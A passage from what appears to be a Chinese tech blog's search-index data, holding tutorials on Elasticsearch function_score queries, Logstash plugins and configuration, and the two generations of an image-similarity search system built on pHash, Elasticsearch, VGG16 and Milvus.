为了避免新的分数的数值过高,可以通过 max_boost 参数去设置上限。 需要注意的是:不论我们怎么自定义打分,都不会改变原始 query 的匹配行为,我们自定义打分,都是在原始 query 查询结束后,对每一个匹配的文档进行重新算分。 为了排除掉一些分数太低的结果,我们可以通过 min_score 参数设置最小分数阈值。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:2","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"field_value_factor field_value_factor 使用字段的数值参与计算分数。 例如使用 likes 点赞数字段进行综合搜索: { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"field_value_factor\": { \"field\": \"likes\", \"factor\": 1.2, \"missing\": 1, \"modifier\": \"log1p\" } } } } 说明: field : 参与计算的字段。 factor : 乘积因子,默认为 1 ,将会与 field 的字段值相乘。 missing : 如果 field 字段不存在则使用 missing 指定的缺省值。 modifier : 计算函数,为了避免分数相差过大,用于平滑分数,可以是以下之一: none : 不处理,默认 log : log(factor * field_value) log1p : log(1 + factor * field_value) log2p : log(2 + factor * field_value) ln : ln(factor * field_value) ln1p : ln(1 + factor * field_value) ln2p : ln(2 + factor * field_value) square : 平方,(factor * field_value)^2 sqrt : 开方,sqrt(factor * field_value) reciprocal : 求倒数,1/(factor * field_value) 假设某个匹配的文档的点赞数是 1000 ,那么例子中其打分函数生成的分数就是 log(1 + 1.2 * 1000),最终的分数是原来的 query 分数与此打分函数分数相差的结果。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:3","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"decay_function decay_function 衰减函数,例如: 以某个数值作为中心点,距离多少的范围之外逐渐衰减(缩小分数) 以某个日期作为中心点,距离多久的范围之外逐渐衰减(缩小分数) 以某个地理位置点作为中心点,方圆多少距离之外逐渐衰减(缩小分数) 示例: \"DECAY_FUNCTION\": { \"FIELD_NAME\": { \"origin\": \"30, 120\", \"scale\": \"2km\", \"offset\": \"0km\", \"decay\": 0.33 } } 上例的意思就是在距中心点方圆 2 公里之外,分数减少到三分之一(乘以 decay 的值 0.33)。 DECAY_FUNCTION 可以是以下任意一种函数: linear : 线性函数 exp : 指数函数 gauss : 高斯函数 origin : 中心点,只能是数值、日期、geo-point scale : 定义到中心点的距离 offset : 偏移量,默认 0 decay : 衰减指数,默认是 0.5 示例: GET /_search { \"query\": { \"function_score\": { \"gauss\": { \"@timestamp\": { \"origin\": \"2013-09-17\", \"scale\": \"10d\", \"offset\": \"5d\", \"decay\": 0.5 } } } } } 中心点是 2013-09-17 日期,scale 是 10d 意味着日期范围是 2013-09-12 到 2013-09-22 的文档分数权重是 1 ,日期在 scale + offset = 15d 之外的文档权重是 0.5 。 如果参与计算的字段有多个值,默认选择最靠近中心点的值,也就是离中心点的最近距离,可以通过 multi_value_mode 设置: min : 最近距离 max : 最远距离 avg : 平均距离 sum : 所有距离累加 示例: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match\": { \"properties\": \"大阳台\" } }, \"functions\": [ { \"gauss\": { \"price\": { \"origin\": \"0\", \"scale\": \"2000\" } } }, { \"gauss\": { \"location\": { \"origin\": \"30, 120\", \"scale\": \"2km\" } } } ], \"score_mode\": \"multiply\" } } } 假设这是搜索大阳台的房源,上例设置了 price 价格字段的中心点是 0 ,范围 2000 以内,以及 location 地理位置字段的中心点是 “30, 120” ,方圆 2km 之内,在这个范围之外的匹配结果的 score 分数会进行高斯衰减,即打分降低。 ","date":"2020-11-02","objectID":"/es-function-score-query/:2:4","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"script_score script_score 自定义脚本打分,如果上面的打分函数都满足不了你,你还可以直接编写脚本打分。 示例: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"script_score\": { \"script\": { \"source\": \"Math.log(2 + doc['my-int'].value)\" } } } } } 在脚本中通过 doc['field'] 的形式去引用字段,doc['field'].value 就是使用字段值。 你也可以把额外的参数与脚本内容分开: GET /_search { \"query\": { \"function_score\": { \"query\": { \"match\": { \"message\": \"elasticsearch\" } }, \"script_score\": { \"script\": { \"params\": { \"a\": 5, \"b\": 1.2 }, \"source\": \"params.a / Math.pow(params.b, doc['my-int'].value)\" } } } } } ","date":"2020-11-02","objectID":"/es-function-score-query/:2:5","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"结语 通过了解 Elasticsearch 的自定义打分相信你能更好的完成符合业务的综合性搜索。 ","date":"2020-11-02","objectID":"/es-function-score-query/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch 自定义打分 Function score query","uri":"/es-function-score-query/"},{"categories":["Elasticsearch"],"content":"数据管道 Logstash 入门","date":"2020-11-01","objectID":"/logstash/","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Logstash 入门 ","date":"2020-11-01","objectID":"/logstash/:0:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Logstash 是什么 Logstash 就是一个开源的数据流工具,它会做三件事: 从数据源拉取数据 对数据进行过滤、转换等处理 将处理后的数据写入目标地 例如: 监听某个目录下的日志文件,读取文件内容,处理数据,写入 influxdb 。 从 kafka 中消费消息,处理数据,写入 elasticsearch 。 ","date":"2020-11-01","objectID":"/logstash/:1:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"为什么要用 Logstash ? 方便省事。 假设你需要从 kafka 中消费数据,然后写入 elasticsearch ,如果自己编码,你得去对接 kafka 和 elasticsearch 的 API 吧,如果你用 Logstash ,这部分就不用自己去实现了,因为 Logstash 已经为你封装了对应的 plugin 插件,你只需要写一个配置文件形如: input { kafka { # kafka consumer 配置 } } filter { # 数据处理配置 } output { elasticsearch { # elasticsearch 输出配置 } } 然后运行 logstash 就可以了。 Logstash 提供了两百多个封装好的 plugin 插件,这些插件被分为三类: input plugin : 从哪里拉取数据 filter plugin : 数据如何处理 output plugin : 数据写入何处 使用 logstash 你只要编写一个配置文件,在配置文件中挑选组合这些 plugin 插件,就可以轻松实现数据从输入源到输出源的实时流动。 ","date":"2020-11-01","objectID":"/logstash/:1:1","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"安装 logstash 请参数:官方文档 ","date":"2020-11-01","objectID":"/logstash/:2:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"第一个示例 假设你已经安装好了 logstash ,并且可执行文件的路径已经加入到了 PATH 环境变量中。 下面开始我们的第一个示例,编写 pipeline.conf 文件,内容为: input { stdin { } } filter { } output { stdout { } } 这个配置文件的含义是: input 输入为 stdin(标准输入) filter 为空(也就是不进行数据的处理) output 输出为 stdout(标准输出) 执行命令: logstash -f pipeline.conf 等待 logstash 启动完毕,输入 hello world 然后回车, 你就会看到以下输出内容: { \"message\" =\u003e \"hello world\", \"@version\" =\u003e \"1\", \"@timestamp\" =\u003e 2020-11-01T08:25:10.987Z, \"host\" =\u003e \"local\" } 我们输入的内容已经存在于 message 字段中了。 当你输入其他内容后也会看到类似的输出。 至此,我们的第一个示例已经完成,正如配置文件中所定义的,Logstash 从 stdin 标准输入读取数据,不对源数据做任何处理,然后输出到 stdout 标准输出。 ","date":"2020-11-01","objectID":"/logstash/:3:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"特定名词和字段 event : 数据在 logstash 中被包装成 event 事件的形式从 input 到 filter 再到 output 流转。 @timestamp : 特殊字段,标记 event 发生的时间。 @version : 特殊字段,标记 event 的版本号。 message : 源数据内容。 @metadata : 元数据,key/value 的形式,是否有数据得看具体插件,例如 kafka 的 input 插件会在 @metadata 里记录 topic、consumer_group、partition、offset 等一些元数据。 tags : 记录 tag 的字符串数组。 ","date":"2020-11-01","objectID":"/logstash/:3:1","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"字段引用 在配置文件中,可以通过 [field] 的形式引用字段内容,如果在字符串中,则可以通过 %{[field]} 的方式进行引用。 示例: input { kafka { # kafka 配置 } } filter { # 引用 log_level 字段的内容进行判断 if [log_level] == \"debug\" { } } output { elasticsearch { # %{+yyyy.MM.dd} 来源于 @timestamp index =\u003e \"log-%{+yyyy.MM.dd}\" document_type =\u003e \"_doc\" document_id =\u003e \"%{[@metadata][kafka][key]}\" hosts =\u003e [\"127.0.0.1:9200\"] } } ","date":"2020-11-01","objectID":"/logstash/:3:2","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Plugin 插件一览 用好 Logstash 的第一步就是熟悉 plugin 插件,只有熟悉了这些插件你才能快速高效的建立数据管道。 ","date":"2020-11-01","objectID":"/logstash/:4:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Input plugin Input 插件定义了数据源,即 logstash 从哪里拉取数据。 beats : 从 Elastic Beats 框架中接收数据。 示例: input { beats { port =\u003e 5044 } } dead_letter_queue : 从 Logstash 自己的 dead letter queue 中拉取数据,目前 dead letter queue 只支持记录 output 为 elasticsearch 时写入 400 或 404 的数据。 示例: input { dead_letter_queue { path =\u003e \"/var/logstash/data/dead_letter_queue\" start_timestamp =\u003e \"2017-04-04T23:40:37\" } } elasticsearch : 从 elasticsearch 中读取 search query 的结果。 示例: input { elasticsearch { hosts =\u003e \"localhost\" query =\u003e '{ \"query\": { \"match\": { \"statuscode\": 200 } } }' } } exec : 定期执行一个 shell 命令,然后捕获其输出。 示例: input { exec { command =\u003e \"ls\" interval =\u003e 30 } } file : 从文件中流式读取内容。 示例: input { file { path =\u003e [\"/var/log/*.log\", \"/var/log/message\"] start_position =\u003e \"beginning\" } } generator : 生成随机数据。 示例: input { generator { count =\u003e 3 lines =\u003e [ \"line 1\", \"line 2\", \"line 3\" ] } } github : 从 github webhooks 中读取数据。 graphite : 接受 graphite 的 metrics 指标数据。 heartbeat : 生成心跳信息。这样做的一般目的是测试 Logstash 的性能和可用性。 http : Logstash 接受 http 请求作为数据。 http_poller : Logstash 发起 http 请求,读取响应数据。 示例: input { http_poller { urls =\u003e { test1 =\u003e \"http://localhost:9200\" test2 =\u003e { method =\u003e get user =\u003e \"AzureDiamond\" password =\u003e \"hunter2\" url =\u003e \"http://localhost:9200/_cluster/health\" headers =\u003e { Accept =\u003e \"application/json\" } } } request_timeout =\u003e 60 schedule =\u003e { cron =\u003e \"* * * * * UTC\"} codec =\u003e \"json\" metadata_target =\u003e \"http_poller_metadata\" } } imap : 从 IMAP 服务器读取邮件。 jdbc : 通过 JDBC 接口导入数据库中的数据。 示例: input { jdbc { jdbc_driver_library =\u003e \"mysql-connector-java-5.1.36-bin.jar\" jdbc_driver_class =\u003e \"com.mysql.jdbc.Driver\" jdbc_connection_string =\u003e \"jdbc:mysql://localhost:3306/mydb\" jdbc_user =\u003e \"mysql\" parameters =\u003e { \"favorite_artist\" =\u003e \"Beethoven\" } schedule =\u003e \"* * * * *\" statement =\u003e \"SELECT * from songs where artist = :favorite_artist\" } } kafka : 消费 kafka 中的消息。 示例: input { kafka { bootstrap_servers =\u003e \"127.0.0.1:9092\" group_id =\u003e \"consumer_group\" topics =\u003e [\"kafka_topic\"] enable_auto_commit =\u003e true auto_commit_interval_ms =\u003e 5000 auto_offset_reset =\u003e \"latest\" decorate_events =\u003e true isolation_level =\u003e \"read_uncommitted\" max_poll_records =\u003e 1000 } } rabbitmq : 从 RabbitMQ 队列中拉取数据。 redis : 从 redis 中读取数据。 stdin : 从标准输入读取数据。 syslog : 读取 syslog 数据。 tcp : 通过 TCP socket 读取数据。 udp : 通过 udp 读取数据。 unix : 通过 UNIX socket 读取数据。 websocket : 通过 websocket 协议 读取数据。 ","date":"2020-11-01","objectID":"/logstash/:4:1","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Output plugin Output 插件定义了数据的输出地,即 logstash 将数据写入何处。 csv : 将数据写入 csv 文件。 elasticsearch : 写入 Elasticsearch 。 email : 发送 email 邮件。 exec : 执行命令。 file : 写入磁盘文件。 graphite : 写入 Graphite 。 http : 发送 http 请求。 influxdb : 写入 InfluxDB 。 kafka : 写入 Kafka 。 mongodb : 写入 MongoDB 。 opentsdb : 写入 OpenTSDB 。 rabbitmq : 写入 RabbitMQ 。 redis : 使用 RPUSH 的方式写入到 Redis 队列。 sink : 将数据丢弃,不写入任何地方。 syslog : 将数据发送到 syslog 服务端。 tcp : 发送 TCP socket。 udp : 发送 UDP 。 webhdfs : 通过 webhdfs REST API 写入 HDFS 。 websocket : 推送 websocket 消息 。 ","date":"2020-11-01","objectID":"/logstash/:4:2","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"Filter plugin Filter 插件定义对数据进行如何处理。 aggregate : 聚合数据。 alter : 修改数据。 bytes : 将存储大小如 “123 MB” 或 “5.6gb” 的字符串表示形式解析为以字节为单位的数值。 cidr : 检查 IP 地址是否在指定范围内。 示例: filter { cidr { add_tag =\u003e [ \"testnet\" ] address =\u003e [ \"%{src_ip}\", \"%{dst_ip}\" ] network =\u003e [ \"192.0.2.0/24\" ] } } cipher : 对数据进行加密或解密。 clone : 复制 event 事件。 csv : 解析 CSV 格式的数据。 date : 解析字段中的日期数据。 示例,匹配输入的 timestamp 字段,然后替换 @timestamp : filter { date { match =\u003e [\"timestamp\", \"dd/MMM/yyyy:HH:mm:ss ZZ\"] target =\u003e \"@timestamp\" } } dissect : 使用 %{} 的形式拆分字符串并提取出特定内容,比较常用,具体语法见 dissect 文档。 drop : 丢弃这个 event 。 示例: filter { if [loglevel] == \"debug\" { drop { } } } elapsed : 通过记录开始和结束时间跟踪 event 的耗时。 elasticsearch : 在 elasticsearch 中进行搜索,并将数据复制到当前 event 中。 environment : 将环境变量中的数据存储到 @metadata 字段中。 extractnumbers : 提取字符串中找到的所有数字。 fingerprint : 根据一个或多个字段的内容创建哈希值,并存储到新的字段中。 geoip : 使用绑定的 GeoLite2 数据库添加有关 IP 地址的地理位置的信息,这个插件非常有用,你可以根据 IP 地址得到对应的国家、省份、城市、经纬度等地理位置数据。 示例,通过 clent_ip 字段获取对应的地理位置信息: filter { geoip { cache_size =\u003e 1000 default_database_type =\u003e \"City\" source =\u003e \"clent_ip\" target =\u003e \"geo\" tag_on_failure =\u003e [\"_geoip_city_fail\"] add_field =\u003e { \"geo_country_name\" =\u003e \"%{[geo][country_name]}\" \"geo_region_name\" =\u003e \"%{[geo][region_name]}\" \"geo_city_name\" =\u003e \"%{[geo][city_name]}\" \"geo_location\" =\u003e \"%{[geo][latitude]},%{[geo][longitude]}\" } remove_field =\u003e [\"geo\"] } } grok : 通过正则表达式去处理字符串,比较常用,具体语法见 grok 文档。 http : 与外部 web services/REST APIs 集成。 i18n : 从字段中删除特殊字符。 java_uuid : 生成 UUID 。 jdbc_static : 从远程数据库中读取数据,然后丰富 event 。 jdbc_streaming : 执行 SQL 查询然后将结果存储到指定字段。 json : 解析 json 字符串,生成 field 和 value。 示例: filter { json { skip_on_invalid_json =\u003e true source =\u003e \"message\" } } 如果输入的 message 字段是 json 字符串如 \"{\"a\": 1, \"b\": 2}\", 那么解析后就会增加两个字段,字段名分别是 a 和 b 。 kv : 解析 key=value 形式的数据。 memcached : 与外部 memcached 集成。 metrics : logstash 在内存中去聚合指标数据。 mutate : 对字段进行一些常规更改。 示例: filter { mutate { split =\u003e [\"hostname\", \".\"] add_field =\u003e { \"shortHostname\" =\u003e \"%{hostname[0]}\" } } mutate { rename =\u003e [\"shortHostname\", \"hostname\"] } } prune : 通过黑白名单的方式删除多余的字段。 示例: filter { prune { blacklist_names =\u003e [ \"method\", \"(referrer|status)\", \"${some}_field\" ] } } ruby : 执行 ruby 代码。 示例,解析 http://example.com/abc?q=haha 形式字符串中的 query 参数 q 的值 : filter { ruby { code =\u003e \" require 'cgi' req = event.get('request_uri').split('?') query = '' if req.length \u003e 1 query = req[1] qh = CGI::parse(query) event.set('search_q', qh['q'][0]) end \" } } 在 ruby 代码中,字段的获取和设置通过 event.get() 和 event.set() 方法进行操作。 sleep : 休眠指定时间。 split : 拆分字段。 throttle : 限流,限制 event 数量。 translate : 根据指定的字典文件将数据进行对应转换。 示例: filter { translate { field =\u003e \"[http_status]\" destination =\u003e \"[http_status_description]\" dictionary =\u003e { \"100\" =\u003e \"Continue\" \"101\" =\u003e \"Switching Protocols\" \"200\" =\u003e \"OK\" \"500\" =\u003e \"Server Error\" } fallback =\u003e \"I'm a teapot\" } } truncate : 将字段内容超出长度的部分裁剪掉。 urldecode : 对 urlencoded 的内容进行解码。 useragent : 解析 user-agent 的内容得到诸如设备、操作系统、版本等信息。 示例: filter { # ua_device : 设备 # ua_name : 浏览器 # ua_os : 操作系统 useragent { lru_cache_size =\u003e 1000 source =\u003e \"user_agent\" target =\u003e \"ua\" add_field =\u003e { \"ua_device\" =\u003e \"%{[ua][device]}\" \"ua_name\" =\u003e \"%{[ua][name]}\" \"ua_os\" =\u003e \"%{[ua][os_name]}\" } remove_field =\u003e [\"ua\"] } } uuid : 生成 UUID 。 xml : 解析 XML 格式的数据。 ","date":"2020-11-01","objectID":"/logstash/:4:3","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Elasticsearch"],"content":"结语 Logstash 的插件除了本文提到的这些之外还有很多,想要详细的了解每个插件如何使用还是要去查阅官方文档。 得益于 Logstash 的插件体系,你只需要编写一个配置文件,声明使用哪些插件,就可以很轻松的构建数据管道。 ","date":"2020-11-01","objectID":"/logstash/:5:0","tags":["Elasticsearch"],"title":"数据管道 Logstash 入门","uri":"/logstash/"},{"categories":["Engineering"],"content":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","date":"2020-06-04","objectID":"/image-search-total/","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理 ","date":"2020-06-04","objectID":"/image-search-total/:0:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"前言 又拍图片管家当前服务了千万级用户,管理了百亿级图片。当用户的图库变得越来越庞大时,业务上急切的需要一种方案能够快速定位图像,即直接输入图像,然后根据输入的图像内容来找到图库中的原图及相似图,而以图搜图服务就是为了解决这个问题。 本人于在职期间独立负责并实施了整个以图搜图系统从技术调研、到设计验证、以及最后工程实现的全过程。而整个以图搜图服务也是经历了两次的整体演进:从 2019 年初开始第一次技术调研,经历春节假期,2019 年 3、4 月份第一代系统整体上线;2020 年初着手升级方案调研,经历春节及疫情,2020 年 4 月份开始第二代系统的整体升级。 本文将会简述两代搜图系统背后的技术选型及基本原理。 ","date":"2020-06-04","objectID":"/image-search-total/:1:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"基础概要 ","date":"2020-06-04","objectID":"/image-search-total/:2:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"图像是什么? 与图像打交道,我们必须要先知道:图像是什么? 答案:像素点的集合。 比如: 左图红色圈中的部分其实就是右图中一系列的像素点。 再举例: 假设上图红色圈的部分是一幅图像,其中每一个独立的小方格就是一个像素点(简称像素),像素是最基本的信息单元,而这幅图像的大小就是 11 x 11 px 。 ","date":"2020-06-04","objectID":"/image-search-total/:2:1","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"图像的数学表示 每个图像都可以很自然的用矩阵来表示,每个像素点对应的就是矩阵中的一个元素。 二值图像 二值图像的像素点只有黑白两种情况,因此每个像素点可以由 0 和 1 来表示。 比如一张 4 * 4 二值图像: 0 1 0 1 1 0 0 0 1 1 1 0 0 0 1 0 RGB 图像 红(Red)、绿(Green)、蓝(Blue)作为三原色可以调和成任意的颜色,对于 RGB 图像,每个像素点包含 RGB 共三个通道的基本信息,类似的,如果每个通道用 8 bit 表示即 256 级灰度,那么一个像素点可以表示为: ( [0 ... 255], [0 ... 255], [0 ... 255] ) 比如一张 4 * 4 RGB 图像: (156, 22, 45) (255, 0, 0) (0, 156, 32) (14, 2, 90) (12, 251, 88) (78, 12, 3) (94, 90, 87) (134, 0, 2) (240, 33, 44) (5, 66, 77) (1, 28, 167) (11, 11, 11) (0, 0, 0) (4, 4, 4) (50, 50, 50) (100, 10, 10) 图像处理的本质实际上就是对这些像素矩阵进行计算。 ","date":"2020-06-04","objectID":"/image-search-total/:2:2","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"搜图的技术问题 如果只是找原图,也就是像素点完全相同的图像,那么直接对比它们的 MD5 值即可。然而,图像在网络的传输过程中,常常会遇到诸如压缩、水印等等情况,而 MD5 算法的特点是,即使是小部分内容变动,其最终的结果却是天差地别,换句话说只要图片有一个像素点不一致,最后都是无法对比的。 对于一个以图搜图系统而言,我们要搜的本质上其实是内容相似的图片,为此,我们需要解决两个基本的问题: 把图像表示或抽象为一个计算机数据 这个数据必须是可以进行对比计算的 直接用专业点的话说就是: 图像的特征提取 特征计算(相似性计算) ","date":"2020-06-04","objectID":"/image-search-total/:2:3","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"第一代搜图系统 ","date":"2020-06-04","objectID":"/image-search-total/:3:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"特性提取 - 图像抽象 第一代搜图系统在特征提取上使用的是 Perceptual hash 即 pHash 算法,这个算法的基本原理是什么? 如上图所示,pHash 算法就是对图像整体进行一系列变换最后构造 hash 值,而变换的过程可以理解为对图像进行不断的抽象,此时如果对另外一张相似内容的图像进行同样的整体抽象,那么其结果一定是非常接近的。 ","date":"2020-06-04","objectID":"/image-search-total/:3:1","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"特性计算 - 相似性计算 对于两张图像的 pHash 值,具体如何计算其相似的程度?答案是 Hamming distance 汉明距离,汉明距离越小,图像内容越相似。 汉明距离又是什么?就是对应位置不同比特位的个数。 例如: 第一个值: 0 1 0 1 0 第二个值: 0 0 0 1 1 以上两个值的对应位置上有 2 个比特位是不相同的,因此它们的汉明距离就是 2 。 OK ,相似性计算的原理我们知道了,那么下一个问题是:如何去计算亿级图片对应的亿级数据的汉明距离?简而言之,就是如何搜索? 在项目早期其实我并没有找到一个满意的能够快速计算汉明距离的工具(或者说是计算引擎),因此我的方案进行了一次变通。 变通的思想是:如果两个 pHash 值的汉明距离是接近的,那么将 pHash 值进行切割后,切割后的每一个小部分大概率相等。 例如: 第一个值: 8 a 0 3 0 3 f 6 第二个值: 8 a 0 3 0 3 d 8 我们把上面这两个值分割成了 8 块,其中 6 块的值是完全相同的,因此可以推断它们的汉明距离接近,从而图像内容也相似。 经过变换之后,其实你可以发现,汉明距离的计算问题,变成了等值匹配的问题,我把每一个 pHash 值给分成了 8 段,只要里面有超过 5 段的值是完全相同的,那么我就认为他们相似。 等值匹配如何解决?这就很简单了,传统数据库的条件过滤不就可以用了嘛。 当然,我这里用的是 ElasticSearch( ES 的原理本文就不介绍了,读者可以另行了解),在 ES 里的具体操作就是多 term 匹配然后 minimum_should_match 指定匹配程度。 为什么搜索会选择 ElasticSearch ?第一点,它能实现上述的搜索功能;第二点,图片管家项目本身就正在用 ES 提供全文搜索的功能,使用现有资源,成本是非常低的。 ","date":"2020-06-04","objectID":"/image-search-total/:3:2","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"第一代系统总结 第一代搜图系统在技术上选择了 pHash + ElasticSearch 的方案,它拥有如下特点: pHash 算法计算简单,可以对抗一定程度的压缩、水印、噪声等影响。 ElasticSearch 直接使用了项目现有资源,在搜索上没有增加额外的成本。 当然这套系统的局限性也很明显:由于 pHash 算法是对图像的整体进行抽象表示,一旦我们对整体性进行了破坏,比如在原图加一个黑边,就会几乎无法判断相似性。 为了突破这个局限性,底层技术截然不同的第二代搜图系统应运而生。 ","date":"2020-06-04","objectID":"/image-search-total/:3:3","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"第二代搜图系统 ","date":"2020-06-04","objectID":"/image-search-total/:4:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"特性提取 在计算机视觉领域,使用人工智能相关的技术基本上已经成了主流,同样,我们第二代搜图系统的特征提取在底层技术上使用的是 CNN 卷积神经网络。 CNN 卷积神经网络这个词让人比较难以理解,重点是回答两个问题: CNN 能干什么? 搜图为什么能用 CNN ? AI 领域有很多赛事,图像分类是其中一项重要的比赛内容,而图像分类就是要去判断图片的内容到底是猫、是狗、是苹果、是梨子、还是其它对象类别。 CNN 能干什么?提取特征,进而识物,我把这个过程简单的理解为,从多个不同的维度去提取特征,衡量一张图片的内容或者特征与猫的特征有多接近,与狗的特征有多接近,等等等等,选择最接近的就可以作为我们的识别结果,也就是判断这张图片的内容是猫,还是狗,还是其它。 CNN 识物又跟我们找相似的图像有什么关系?我们要的不是最终的识物结果,而是从多个维度提取出来的特征向量,两张内容相似的图像的特征向量一定是接近的。 具体使用哪种 CNN 模型? 我使用的是 VGG16 ,为什么选择它?首先,VGG16 拥有很好的泛化能力,也就是很通用;其次,VGG16 提取出来的特征向量是 512 维,维度适中,如果维度太少,精度可能会受影响,如果维度太多,存储和计算这些特征向量的成本会比较高。 ","date":"2020-06-04","objectID":"/image-search-total/:4:1","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"向量搜索引擎 从图像提取特征向量的问题已经解决了,那么剩下的问题就是: 特征向量如何存储? 特征向量如何计算相似性,即如何搜索? 对于这两个问题,直接使用开源的向量搜索引擎 Milvus 就可以很好的解决,截至目前,Milvus 在我们的生产环境一直运行良好。 ","date":"2020-06-04","objectID":"/image-search-total/:4:2","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"第二代系统总结 第二代搜图系统在技术上选择了 CNN + Milvus 的方案,而这种基于特征向量的搜索在业务上也提供了更好的支持。 ","date":"2020-06-04","objectID":"/image-search-total/:4:3","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"相关文章 本人之前已经写过两篇相关的文章: 以图搜图系统概述 以图搜图系统工程实践 英文版: The Journey to Optimizing Billion-scale Image Similarity Search (1/2) The Journey to Optimizing Billion-scale Image Similarity Search (2/2) ","date":"2020-06-04","objectID":"/image-search-total/:5:0","tags":["Engineering"],"title":"又拍图片管家亿级图像之搜图系统的两代演进及底层原理","uri":"/image-search-total/"},{"categories":["Engineering"],"content":"以图搜图系统工程实践","date":"2020-04-11","objectID":"/image-search-system2/","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"以图搜图系统工程实践 之前写过一篇概述: 以图搜图系统概述 。 以图搜图系统需要解决的主要问题是: 提取图像特征向量(用特征向量去表示一幅图像) 特征向量的相似度计算(寻找内容相似的图像) 对应的工程实践,具体为: 卷积神经网络 CNN 提取图像特征 向量搜索引擎 Milvus ","date":"2020-04-11","objectID":"/image-search-system2/:0:0","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"CNN 使用卷积神经网路 CNN 去提取图像特征是一种主流的方案,具体的模型则可以使用 VGG16 ,技术实现上则使用 Keras + TensorFlow ,参考 Keras 官方示例: from keras.applications.vgg16 import VGG16 from keras.preprocessing import image from keras.applications.vgg16 import preprocess_input import numpy as np model = VGG16(weights='imagenet', include_top=False) img_path = 'elephant.jpg' img = image.load_img(img_path, target_size=(224, 224)) x = image.img_to_array(img) x = np.expand_dims(x, axis=0) x = preprocess_input(x) features = model.predict(x) 这里提取出来的 feature 就是特性向量。 ","date":"2020-04-11","objectID":"/image-search-system2/:1:0","tags":["Engineering"],"title":"以图搜图系统工程实践","uri":"/image-search-system2/"},{"categories":["Engineering"],"content":"1、归一化 为了方便后续操作,我们常常会将 feature 进行归一化的处理: from numpy import linalg as LA norm_feat = feat[0]/LA.norm(feat[0]) 后续实际使用的也是归一化后的 norm_feat 。 